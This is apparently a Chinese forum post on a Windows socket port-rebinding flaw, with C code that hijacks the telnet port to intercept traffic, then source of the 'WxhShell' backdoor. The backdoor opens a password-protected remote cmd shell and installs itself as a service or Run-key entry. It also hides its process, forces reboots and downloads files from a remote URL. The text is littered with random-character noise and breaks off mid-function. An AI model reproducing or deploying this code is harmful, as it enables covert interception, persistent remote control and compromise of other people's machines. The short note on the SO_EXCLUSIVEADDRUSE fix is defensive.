在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Xz^nm\ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4}H+hk8- 8US#SI'x saddr.sin_family = AF_INET;
GLf!i1Z r9ulTv}X saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^\}qq>_ H!IVbL`a{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Vm%G
q ~F,~^r!Jtu 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
aKj|gwo! u9"=t 这意味着什么?意味着可以进行如下的攻击:
7P<VtS h&'|^;FM 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
l'"nU6B& &ksuk9M 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
D;R~!3f./b /QQRy_Z1) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
kE:[6reG a}yb~:TC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
16L YVvmW q/b+V)V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
IhNX~Jg'^ 5MnP6(3$ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
-.h)CM@L vD#U+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(=!At)O l eC!Yj #include
R/~!km #include
t.(
`$ #include
vfkF@^D #include
2d.$V,U< DWORD WINAPI ClientThread(LPVOID lpParam);
*Ypn@YpSp int main()
t;o\"H {
F'K >@y WORD wVersionRequested;
=dAAb\: DWORD ret;
7p1Y g WSADATA wsaData;
u}%OC43 BOOL val;
VEgtN} SOCKADDR_IN saddr;
,8 4|qI SOCKADDR_IN scaddr;
t(3f} ? int err;
2_wue49-l SOCKET s;
dL0Q8d\^T SOCKET sc;
6&$.E! z int caddsize;
$'V^_|EL7 HANDLE mt;
0b{jox\!B DWORD tid;
0f@+o}i=) wVersionRequested = MAKEWORD( 2, 2 );
bLg!LZ|S0s err = WSAStartup( wVersionRequested, &wsaData );
U"r*kO% if ( err != 0 ) {
_WZx].|A= printf("error!WSAStartup failed!\n");
9)VAEyv return -1;
3RtVFDIZA" }
hi"C<b. saddr.sin_family = AF_INET;
6$b=Tr=0 ;U(]#pW!t //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
$4{sPHi)I .b";7}9{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
MN<LZC%$ saddr.sin_port = htons(23);
bL7Gkbs&| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Cu+p!hV {
{]dxFhe) printf("error!socket failed!\n");
3=
=["hO return -1;
,!{8@*!=s }
=p;cJ%#2]' val = TRUE;
;KQU%
k$ //SO_REUSEADDR选项就是可以实现端口重绑定的
":/c|! if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J@-'IJ {
)]fiyXA
printf("error!setsockopt failed!\n");
-YQh
F;/ return -1;
b\"F6TF: }
6:2* < //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
"pO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
{?yVA //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^Gd1T d_,My lk if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O&7.Ry
m {
{"'M2w:|D1 ret=GetLastError();
@}q, ';H7 printf("error!bind failed!\n");
g@'XmT="_ return -1;
0cmd +` }
/l7 %x. listen(s,2);
LgF?1? while(1)
QP'sS*saJ {
2 ,nhs,FZ caddsize = sizeof(scaddr);
Ic&~iqQ //接受连接请求
9?\cm}^? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hrKeOwKHU if(sc!=INVALID_SOCKET)
_#K|g#p5 {
}n&nuaj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
25OQY.>bE if(mt==NULL)
KiXfR\S~C {
@{@b^tk printf("Thread Creat Failed!\n");
h{)m}"n<R break;
11l=zv }
51ViJdZ }
b]u=Iza CloseHandle(mt);
r%;|gIky }
M5VW1Ns closesocket(s);
w,IJ44f ^% WSACleanup();
--]blP7 return 0;
(3N/DY1/ }
3f5YPf2u DWORD WINAPI ClientThread(LPVOID lpParam)
\IQG%L{ {
Uc!k)o#= SOCKET ss = (SOCKET)lpParam;
tpSgbGzp SOCKET sc;
GSRf/::I}4 unsigned char buf[4096];
M
%,\2!$ SOCKADDR_IN saddr;
q;9X8 _ long num;
}C @xl9S " DWORD val;
[7><^?t
V DWORD ret;
Py*WHHO //如果是隐藏端口应用的话,可以在此处加一些判断
,It0brF //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j*QdD\) saddr.sin_family = AF_INET;
ZW;Ec+n_K saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)L&y@dy) saddr.sin_port = htons(23);
H{=]94 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q&:7R
.Ci {
4Y?fbb< printf("error!socket failed!\n");
c7+6[y DVE return -1;
7NJl+*u }
ll5;09 val = 100;
P 'h39XoZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
JcRxNH
)<" {
>4ex5 ret = GetLastError();
-+){ ;, return -1;
/cClV"S*G }
T4W20dxL7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B\
'rxbH {
7z$53z ret = GetLastError();
3fLdceT return -1;
% (h6m${j }
Y9mhDznS if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Gw)y<h {
W)1nc"WqY printf("error!socket connect failed!\n");
J-+mdA closesocket(sc);
Dh^l:q+c closesocket(ss);
7y^)n<'co return -1;
npeL1zO-$ }
@~gPZm while(1)
d %}?%VH {
$/^Y(0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
GQg
2!s( //如果是嗅探内容的话,可以再此处进行内容分析和记录
DvhFCA}z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
W.4R+kF< num = recv(ss,buf,4096,0);
"#Z e3Uy\ if(num>0)
:[l}Bb, send(sc,buf,num,0);
G!`%.tH else if(num==0)
zji9\ break;
eLT3b6'"? num = recv(sc,buf,4096,0);
ty!DMg# if(num>0)
6\l F send(ss,buf,num,0);
Q:)4 else if(num==0)
nGGw(6c%> break;
VP< zOk7 }
6MOwn*%5k closesocket(ss);
2L^/\!V# closesocket(sc);
e3n^$'/\r return 0 ;
&LM@xt4"^[ }
\ MuKS4 #HL$`&m EE09 Er%\ ==========================================================
X,@nD@ >#dLT~[\a 下边附上一个代码,,WXhSHELL
3^Is4H_8 x=0Ak'1M ==========================================================
#}.{|'L R;AcAJ; #include "stdafx.h"
lYe2;bu @}jg5} #include <stdio.h>
&pl)E$Y #include <string.h>
<.g)?nj1 #include <windows.h>
<Y /3U #include <winsock2.h>
5<X"+`=9 #include <winsvc.h>
$o9^b
Z #include <urlmon.h>
:hOB
f`vWCb #pragma comment (lib, "Ws2_32.lib")
vy
[7I8f{ #pragma comment (lib, "urlmon.lib")
Af]BR_- l #define MAX_USER 100 // 最大客户端连接数
FM3.z)> #define BUF_SOCK 200 // sock buffer
{uwPP2YD, #define KEY_BUFF 255 // 输入 buffer
gT[] "ZT7 )cgNf]oy #define REBOOT 0 // 重启
(|O(BxS #define SHUTDOWN 1 // 关机
Dg^s$2 + d>2 ' #define DEF_PORT 5000 // 监听端口
J%Y-3{TQK wR 2`*.O #define REG_LEN 16 // 注册表键长度
Nba1!5:M #define SVC_LEN 80 // NT服务名长度
O|m-[] IF&edP[V // 从dll定义API
v7j/_;JE; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S]E|a@kD3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
DM6(8df( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u<"-S63+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vzAY+EEx o7tlkSZ // wxhshell配置信息
,*Wh{) struct WSCFG {
S41S+#7t* int ws_port; // 监听端口
<F}j;mX char ws_passstr[REG_LEN]; // 口令
Lz9|"F"V int ws_autoins; // 安装标记, 1=yes 0=no
~A/vP- char ws_regname[REG_LEN]; // 注册表键名
<qoc)p=__ char ws_svcname[REG_LEN]; // 服务名
NxH%%>o> char ws_svcdisp[SVC_LEN]; // 服务显示名
?/3{gOgI$` char ws_svcdesc[SVC_LEN]; // 服务描述信息
{niV63$m char ws_passmsg[SVC_LEN]; // 密码输入提示信息
1.2qh"# int ws_downexe; // 下载执行标记, 1=yes 0=no
sNG 7fi.| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
O?#<kmd/) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`j2|aX
%Z* `,FA3boE };
=J-&usX % T$!I (L& // default Wxhshell configuration
fuf'r>1n struct WSCFG wscfg={DEF_PORT,
Cs]\3R|D` "xuhuanlingzhe",
L$Xkx03lz> 1,
}lkU3Pf1U "Wxhshell",
4d`f?8vS "Wxhshell",
ktY "WxhShell Service",
/xg1i1Et
"Wrsky Windows CmdShell Service",
*Ta
{ "Please Input Your Password: ",
G #$r)S 1,
tR=1.M96Y "
http://www.wrsky.com/wxhshell.exe",
\J~@r1 "Wxhshell.exe"
ckdCd
J };
d^Cv9%X &x.5TDB>% // 消息定义模块
o
-x=/b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
^6UE/4x!y char *msg_ws_prompt="\n\r? for help\n\r#>";
pmUC4=&e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
],<pZ1V; char *msg_ws_ext="\n\rExit.";
T~lHm char *msg_ws_end="\n\rQuit.";
%
y` tDR char *msg_ws_boot="\n\rReboot...";
#cl|5jm+m# char *msg_ws_poff="\n\rShutdown...";
IjPtJwW`A char *msg_ws_down="\n\rSave to ";
Y,KSr|vG q\s>Oe6$ char *msg_ws_err="\n\rErr!";
uq!d8{IMu char *msg_ws_ok="\n\rOK!";
27JZwlzZ (^|vN; char ExeFile[MAX_PATH];
0;5qo~1 int nUser = 0;
=b3<}] HANDLE handles[MAX_USER];
-!j5j:RR int OsIsNt;
,PWMl[X > W^"*B SERVICE_STATUS serviceStatus;
)P W Zc?M SERVICE_STATUS_HANDLE hServiceStatusHandle;
zM%2h:*+{ EzU=q
E // 函数声明
r*Z p-} int Install(void);
pr\OjpvD int Uninstall(void);
2G/CN" int DownloadFile(char *sURL, SOCKET wsh);
@oRo6Y<- int Boot(int flag);
qaBL void HideProc(void);
DRu#vC int GetOsVer(void);
z}$!B.) int Wxhshell(SOCKET wsl);
4n\O6$&.x void TalkWithClient(void *cs);
?D@WXE0a int CmdShell(SOCKET sock);
cS|W&IH1 int StartFromService(void);
]1bN cq2I int StartWxhshell(LPSTR lpCmdLine);
x]"N:t L# .vbf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
l\bgp3.+ VOID WINAPI NTServiceHandler( DWORD fdwControl );
CDFX>>N h],l`lT1\ // 数据结构和表定义
}(UU~V SERVICE_TABLE_ENTRY DispatchTable[] =
OLJ|gunA# {
H1ox>sC {wscfg.ws_svcname, NTServiceMain},
vcp[$-$QGJ {NULL, NULL}
G$iC@,/ };
l !R >I7 78zwu<ET // 自我安装
{@67'jL int Install(void)
PAjH*5IA {
=.q8*7UY char svExeFile[MAX_PATH];
Hc-68]T HKEY key;
3AC/;WB9 strcpy(svExeFile,ExeFile);
uWr vkLGN Qvhy9Cr; // 如果是win9x系统,修改注册表设为自启动
C1(0jUz if(!OsIsNt) {
J+nUxF;EE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V%w]HIhq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
x)2ZbIDB:" RegCloseKey(key);
MM/D5g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
sTzt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
";/,FUJJ RegCloseKey(key);
8|S}!P" return 0;
;LFs.Jc< }
yex0rnQ| }
>KCnmi }
FJ
V!B& else {
}woNI .5YW>P V // 如果是NT以上系统,安装为系统服务
5cSqo{|En SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5m a(~5 if (schSCManager!=0)
}Lb[`H,}A {
~i9'9PHX@ SC_HANDLE schService = CreateService
uKpWb1( (
OR-fC schSCManager,
CDDOm8 wscfg.ws_svcname,
E<4'4)FHuQ wscfg.ws_svcdisp,
gY!#=?/S SERVICE_ALL_ACCESS,
,g bQqoLV SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q\GSX RP SERVICE_AUTO_START,
H.s:a#l? SERVICE_ERROR_NORMAL,
W"H*Ad(V svExeFile,
v^Pjvv = NULL,
LLW\1 cxi NULL,
r|0wIpi6Q NULL,
:"~n`
Q2[ NULL,
=bl6: NULL
&6#Ft]6~ );
{P
$sQv if (schService!=0)
4X:S#z
{
J4^aD;j CloseServiceHandle(schService);
]w9\q*S] CloseServiceHandle(schSCManager);
De:| T8& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
HF]|>1WV[ strcat(svExeFile,wscfg.ws_svcname);
ZE0D= if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S,2{^X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
A\};^Y RegCloseKey(key);
~{gV`nm=J return 0;
^Y+P(o$HM }
$]S*(K3U~ }
85]3y%f9 CloseServiceHandle(schSCManager);
C:@JLZB }
HD{2nZT }
uO}UvMW ^,N=GZRWW return 1;
dG*2-v^G }
~jn~M_}K 4ROuy+Ms' // 自我卸载
;*409P int Uninstall(void)
8k
-l`O~ {
2<8JY4]!] HKEY key;
' lMPI@C6r s^Rig[ if(!OsIsNt) {
+*ZF52hy| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A&/YnJ" RegDeleteValue(key,wscfg.ws_regname);
u:s[6T0 RegCloseKey(key);
ya0D50m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jxNnrIA RegDeleteValue(key,wscfg.ws_regname);
Avn)%9 RegCloseKey(key);
<vUhJgN2/ return 0;
z~O:w'(g }
hV7]/z!d }
AvEd? }
W]=$0' else {
Y>2kOE wDz}32wB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
! 4{T<s;q if (schSCManager!=0)
"$rmy>d {
,f?+QV\T. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
f{eMh47 NC if (schService!=0)
U
*']7- {
E|l qlS7 if(DeleteService(schService)!=0) {
=& =#G3f CloseServiceHandle(schService);
y?@(%PTp CloseServiceHandle(schSCManager);
|?/,ED+|>D return 0;
brt1Kvu8( }
TuX9:Q CloseServiceHandle(schService);
Rt2<F-gY }
af<wUxM0 CloseServiceHandle(schSCManager);
-Ay=*c.4 }
^4 ?LQ[t' }
'\I!RAZ urA
kV#d# return 1;
A~MIFr /8 }
ym.:I@b?6 j$jgEtPK9= // 从指定url下载文件
2UJjYrm int DownloadFile(char *sURL, SOCKET wsh)
)7}f. {
Y$&+2w,)H, HRESULT hr;
s(MLBV5)w char seps[]= "/";
]'!$T72 char *token;
1O@
D char *file;
6A,-?W'\ char myURL[MAX_PATH];
TZYz`l+v char myFILE[MAX_PATH];
l0-zu6iw mel(C1b"j/ strcpy(myURL,sURL);
}6!*H! token=strtok(myURL,seps);
40)Ti while(token!=NULL)
4fa2_ {
w_lN[u-L file=token;
S<bsrS*$ token=strtok(NULL,seps);
;j^C35 }
8ZPjzN>c6 mKN#dmw6 GetCurrentDirectory(MAX_PATH,myFILE);
N!iugGL strcat(myFILE, "\\");
5}MjS$2og strcat(myFILE, file);
4J${gcju send(wsh,myFILE,strlen(myFILE),0);
5
i;n:&Y send(wsh,"...",3,0);
L>.*^] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
UG:S! w' if(hr==S_OK)
na,i(m?l return 0;
1]% ]"JbV else
(Ceq@eAlT return 1;
rVF7!|& >4&s7][Q| }
NT&skrzW >y{oC5S // 系统电源模块
wseb]=U int Boot(int flag)
k1HVvMD< {
dD.;P=AP HANDLE hToken;
"Q< TOKEN_PRIVILEGES tkp;
E\lel4ai lbUUf} if(OsIsNt) {
nOj0"c OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.R5(k'g? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
%MH!L2| tkp.PrivilegeCount = 1;
CE;J`; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
CP"
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5KI lU78 if(flag==REBOOT) {
$2'Q'Mx[gd if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
q@0g KC&U return 0;
*j"u~ NF }
FQW{c3%qZ else {
*p Q'w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}{S
f* return 0;
yirQ }
D,sb{N }
c|KN@)A else {
?4A$9H if(flag==REBOOT) {
bHf>EU if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
F\IJim-Rh return 0;
hF;TX.Y6 }
49d02AU% else {
Tw0GG8(c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U1 ;<NUg return 0;
3Eu;_u_ }
8PXjdHR }
3]cW08"c OuuN~yC return 1;
#[$zbZ(I>: }
dJ&f +
TQ&1!~L* // win9x进程隐藏模块
'%y5Dh void HideProc(void)
Q$lgC
v^M {
<7R+p;y ayK?\srw HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q\]"}M8 if ( hKernel != NULL )
vn(ji= {
}Md5a%s< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
fs,]%g^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
o<Y[GW1pg FreeLibrary(hKernel);
:HW\awv }
PPMAj@B}V Wkj0z]]? return;
x?rn<= }
2.PZtl lGZf_X)gA^ // 获取操作系统版本
V(c>1xLlz int GetOsVer(void)
=%Z5"]; {
t$zeBOI) OSVERSIONINFO winfo;
c%x9.s<+1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
1];OGJuJ2 GetVersionEx(&winfo);
/(jG9RM if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6i`Y]\X~# return 1;
>Sc/E}3 else
-XNawpl` return 0;
UEeq@ot/ 4 }
s9aa _Th u/ZV35z // 客户端句柄模块
M,we9];N int Wxhshell(SOCKET wsl)
Q@0Zh,l {
3]wV 1<K SOCKET wsh;
KJ#SE| struct sockaddr_in client;
oGvk,mh"( DWORD myID;
e~P4>3 pgipT#_K while(nUser<MAX_USER)
?(R!BB {
A!uO7".E int nSize=sizeof(client);
Hzc5BC wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
6tZ ak1=V if(wsh==INVALID_SOCKET) return 1;
g)L<xN8 [M/0 Qx[, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
f(UB$^4 if(handles[nUser]==0)
^{{0ajI9C closesocket(wsh);
U
ljWBd else
"[
#. nUser++;
cJLAP%.L }
s8V:;$ ! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
aExt TE .NSV%I return 0;
G(;R+%pu }
I#UL nSJ3 F_.1^XM // 关闭 socket
des.TSZ void CloseIt(SOCKET wsh)
9!?Ywc>0# {
7xh91EU:4 closesocket(wsh);
U%r|hn3 nUser--;
!%Bhg? ExitThread(0);
<i~=-Z( }
!D|c2
6]NaP_\0 // 客户端请求句柄
m(KBg'kQ void TalkWithClient(void *cs)
w\lc;4U {
\N[2-;[3 >J) 9&? SOCKET wsh=(SOCKET)cs;
Oj8xc!d' char pwd[SVC_LEN];
Dp-j(F char cmd[KEY_BUFF];
q#PMQR"C char chr[1];
u9u'!hAGH int i,j;
V>(>wSR WX4f3Um while (nUser < MAX_USER) {
vI \8@97 Av>xgfX if(wscfg.ws_passstr) {
I_5[-9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
M4)Y%EPc //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`l ?(zy:R //ZeroMemory(pwd,KEY_BUFF);
*?rO@sQy] i=0;
YVLK X}$)( while(i<SVC_LEN) {
&fe67#0r) >XPR)&t // 设置超时
?h)T\z fd_set FdRead;
WP5Vev9*+ struct timeval TimeOut;
e(H{C FD_ZERO(&FdRead);
X:m m<4 FD_SET(wsh,&FdRead);
oer3DD( TimeOut.tv_sec=8;
I(uM`g TimeOut.tv_usec=0;
4w#:?Y
_\[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1Vx>\A if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
B|ctauJ UetI4` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)nlFyWXh. pwd
=chr[0]; hMyN$7Z
if(chr[0]==0xd || chr[0]==0xa) { :"'*1S*
pwd=0; O`Y@U?^N
break; s0m k<>z
} BVG.ZZR})
i++; 2(km]H^
} I#/"6%e
q{l %k
// 如果是非法用户,关闭 socket 2$Umqt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PIHKSAnq
} ?tkl
cYB
a7sX*5t{R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yG2rAG_G&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 apK
A [_T~+-G
while(1) { xg;vQKS6
; sAe#b
ZeroMemory(cmd,KEY_BUFF); V3<#_:;
8&SWQ
// 自动支持客户端 telnet标准 PkcvUJV
j=0; 7U:{=+oLR
while(j<KEY_BUFF) { v >cPr(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L),r\#Y(v
cmd[j]=chr[0];
{__NVv
if(chr[0]==0xa || chr[0]==0xd) { }b^x#HC
cmd[j]=0; vG:S(/\>
break; ^t?vv;@}
} WsW] 1p
j++; M_h8{
} +z<GycIc?K
y
~Fi
// 下载文件 Y/T-2)D
if(strstr(cmd,"http://")) { `SQobH
send(wsh,msg_ws_down,strlen(msg_ws_down),0); vr4{|5M
if(DownloadFile(cmd,wsh)) CYYo+5x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O-ppR7edh
else oG\lejO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <B!DwMk;.
} NH4T*R)Vz
else { U6#9W}CE
%WPyc%I
switch(cmd[0]) { ;Kh?iqn^
qfqL"G
// 帮助 xy4P_
case '?': { 0xH&^Ia1B
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y8c,+D,Ww
break; [8&+4<
} Y*sw;2Z;a
// 安装 u7
case 'i': { :Sn4Pg
`Q
if(Install()) 0,B"p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]"'1-h91
else Bm 4$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|%058bF
break; a7aj:.wi
} P1R[M|Fx
// 卸载 yp)D"w4@
case 'r': { h)^|VM
if(Uninstall()) zU'7x U-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y]!&, e,
else O*%5P5'p"{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); izu_1X
break; rDGrq9
} JAy-N bb\
// 显示 wxhshell 所在路径 o.V
JnrJ
case 'p': { n. vrq-
char svExeFile[MAX_PATH]; Rm`P.;%
strcpy(svExeFile,"\n\r"); TW}].A_-
strcat(svExeFile,ExeFile); ^fE8|/]nG9
send(wsh,svExeFile,strlen(svExeFile),0); IY|`$sHb
break; `VF_rC[?
} yb,$UT"]
// 重启 i(kx'ua?
case 'b': { <o/l K\>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vi>P =i
if(Boot(REBOOT)) .>S1do+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Awr(}){
else { @"H7Q1Hg!*
closesocket(wsh); 7~);,#[ky
ExitThread(0); Eqi;m,)
} pG22Nx
break; JvNd'u)Z<
} 3p]\l ]=
// 关机 /qFY$vj
case 'd': { = ?BhtW
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6 X'#F,M
if(Boot(SHUTDOWN)) ">MsV/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G cB<i
else { Zu4au<
closesocket(wsh); KGc!#C
ExitThread(0); cj[x%eK>
} NKTy!zWh
break; w`v`aw]
} lbPn<
// 获取shell "&o"6ra}
case 's': { dnV&U%fO
CmdShell(wsh); q=*bcDu
closesocket(wsh); pfw`<*e'
ExitThread(0); Z<QNzJ D
break; pH(X;OC9S
} sp+'c;a
// 退出 Jp|eKZ
case 'x': { %Y,Ru)5}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8l'W[6
CloseIt(wsh); q>wO=qWx
break; ) I(9qt>Y
} XA;f.u
// 离开 nW<nOKTnk_
case 'q': { bjI3xAs~
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?H>^X)Ph
closesocket(wsh); H[}lzL)
WSACleanup(); ouO9%)zv
exit(1); &PMfAo^
break; gk;hpO
} QO>';ul5
} 7]ySj<1
} aX*9T8H/
@pH6FXVGzt
// 提示信息 ]z#)XW3#i
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =)Fb&h]G^
} 5z\,]
} F_I!qcEQ
\<dg
return; 'z{|#zd9
} w#ZzmO
r4<As` &
// shell模块句柄 M8$eMS1
int CmdShell(SOCKET sock) 4*IXBi7%
{ h<bhH=6~
STARTUPINFO si; ~gHn>]S0
ZeroMemory(&si,sizeof(si)); P 00%EB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z9|A"[b
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s0:M'wA
PROCESS_INFORMATION ProcessInfo; 9JX@ck
char cmdline[]="cmd"; {:3:GdM6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %3AE2"
return 0; pvb&vtp
} l<+PA$+}}
%nG>3.%
// 自身启动模式 ^Wn+G8n
int StartFromService(void) jatlv/,
{ E" >`
typedef struct oE6`]^^
{ 7WY~v2SDF
DWORD ExitStatus; 1Kr$JIcd
DWORD PebBaseAddress; z30 mk
DWORD AffinityMask; EUVD)+it
DWORD BasePriority; :U/]*0b
ULONG UniqueProcessId; #Ma:Av/
)
ULONG InheritedFromUniqueProcessId; !0P:G#o-$
